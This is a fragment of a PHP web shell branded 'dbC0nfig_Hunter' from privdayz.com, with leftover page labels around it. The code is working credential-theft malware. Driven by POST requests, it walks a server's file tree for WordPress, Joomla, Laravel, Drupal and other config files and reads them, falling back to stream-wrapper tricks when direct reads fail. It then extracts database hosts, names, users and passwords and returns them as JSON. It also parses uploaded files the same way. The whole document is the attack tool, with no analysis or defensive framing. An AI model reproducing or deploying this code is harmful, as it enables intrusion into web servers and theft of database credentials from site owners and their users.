X"; exit;} function T(){return [ ['wp-config.php','w'],['configuration.php','j'],['includes/config.php','v'], ['app/config/parameters.php','p'],['app/etc/env.php','m'],['config.php','b'], ['.env','l'],['sites/default/settings.php','d'],['inc/config.php','y'], ['src/config.php','x'],['Settings.php','s'],['core/config/config.inc.php','o'], ['htdocs/conf/conf.php','z'],['config/database.php','q'],['typo3conf/LocalConfiguration.php','t'], ['system/user/config/config.php','e'],['config/db.php','f'],['application/config/database.php','r'], ['*.env','g'],['*.ini','h'],['*.config','i'],['*.conf','k'],['*.php','u'],['*.bak','n'] ];} if($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['a'])) { if ($_POST['a']=='l') { $r=isset($_POST['d'])&&is_dir($_POST['d'])?realpath($_POST['d']):getcwd();$m=2200;$s=[];$p=T(); try{$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r,FilesystemIterator::SKIP_DOTS|FilesystemIterator::FOLLOW_SYMLINKS),RecursiveIteratorIterator::SELF_FIRST); foreach($it as $f){$fp=$f->getPathname(); foreach($p as $pt){if(fnmatch(strtolower($pt[0]),strtolower(str_replace('\\','/',$fp)))){if(is_file($fp)&&is_readable($fp)&&filesize($fp)<950*1024){$s[]=[$fp,$pt[1]];break;}}} if(count($s)>=$m)break; }}catch(Exception $e){} echo json_encode(['c'=>count($s),'f'=>$s]);exit; } if ($_POST['a']=='r' && isset($_POST['f'])) { $f=$_POST['f'];$z=$_POST['z']??'n';$d=F($f);$x=$d?Y($d,$f,$z):[]; echo json_encode(['o'=>$x?1:0,'f'=>$f,'z'=>$z,'b'=>$x]);exit; } if ($_POST['a']=='u' && isset($_FILES['g']) && is_uploaded_file($_FILES['g']['tmp_name'])) { $f=$_FILES['g']['tmp_name'];$n=basename($_FILES['g']['name']);$d=@file_get_contents($f, false, null, 0, 950*1024);$x=$d?Y($d,$n,'u'):[]; echo json_encode(['o'=>$x?1:0,'f'=>$n,'z'=>'u','b'=>$x]);exit; } } function F($f){if(!is_string($f)||strlen($f)<8)return false;$r=false;if(is_readable($f))$r=@file_get_contents($f,false,null,0,950*1024);if($r)return $r; foreach(["php://filter/read=convert.base64-encode/resource=$f","php://memory/$f","zip://$f#0","data://text/plain;base64,".base64_encode($f)]as$t){ $d=@file_get_contents($t,false,null,0,950*1024);if($d&&strlen($d)>32)return base64_decode(preg_replace('~[^A-Za-z0-9+/=]~','',$d));}return false;} function Y($t,$f,$z){$d=[]; if(strpos($f,'wp-config.php')!==false||$z=="w"){if(preg_match('~define\(\s*[\'"]DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)~',$t,$m))$d['db_name']=$m[1];if(preg_match('~define\(\s*[\'"]DB_USER[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)~',$t,$m))$d['db_user']=$m[1];if(preg_match('~define\(\s*[\'"]DB_PASSWORD[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)~',$t,$m))$d['db_pass']=$m[1];if(preg_match('~define\(\s*[\'"]DB_HOST[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]\s*\)~',$t,$m))$d['db_host']=$m[1];} elseif(strpos($f,'configuration.php')!==false||$z=="j"){if(preg_match('~public\s+\$user\s*=\s*[\'"]([^\'"]+)~',$t,$m))$d['db_user']=$m[1];if(preg_match('~public\s+\$password\s*=\s*[\'"]([^\'"]*)~',$t,$m))$d['db_pass']=$m[1];if(preg_match('~public\s+\$host\s*=\s*[\'"]([^\'"]+)~',$t,$m))$d['db_host']=$m[1];if(preg_match('~public\s+\$db\s*=\s*[\'"]([^\'"]+)~',$t,$m))$d['db_name']=$m[1];} elseif(strpos($f,'.env')!==false||$z=="l"){if(preg_match('~DB_HOST\s*=\s*([^\r\n]+)~',$t,$m))$d['db_host']=trim($m[1]);if(preg_match('~DB_DATABASE\s*=\s*([^\r\n]+)~',$t,$m))$d['db_name']=trim($m[1]);if(preg_match('~DB_USERNAME\s*=\s*([^\r\n]+)~',$t,$m))$d['db_user']=trim($m[1]);if(preg_match('~DB_PASSWORD\s*=\s*([^\r\n]*)~',$t,$m))$d['db_pass']=trim($m[1]);} if(empty($d)){if(preg_match('~db(host|user|pass|name|port)\s*[=:]\s*[\'"]?([^\s\'";,]+)~i',$t,$m))$d[$m[1]]=$m[2];} return $d;} ?> ./dbC0nfig_Hunter@privdayz.com

privdayz.com

📂
⬆️
X: Delete File  |  PRIVDAYZ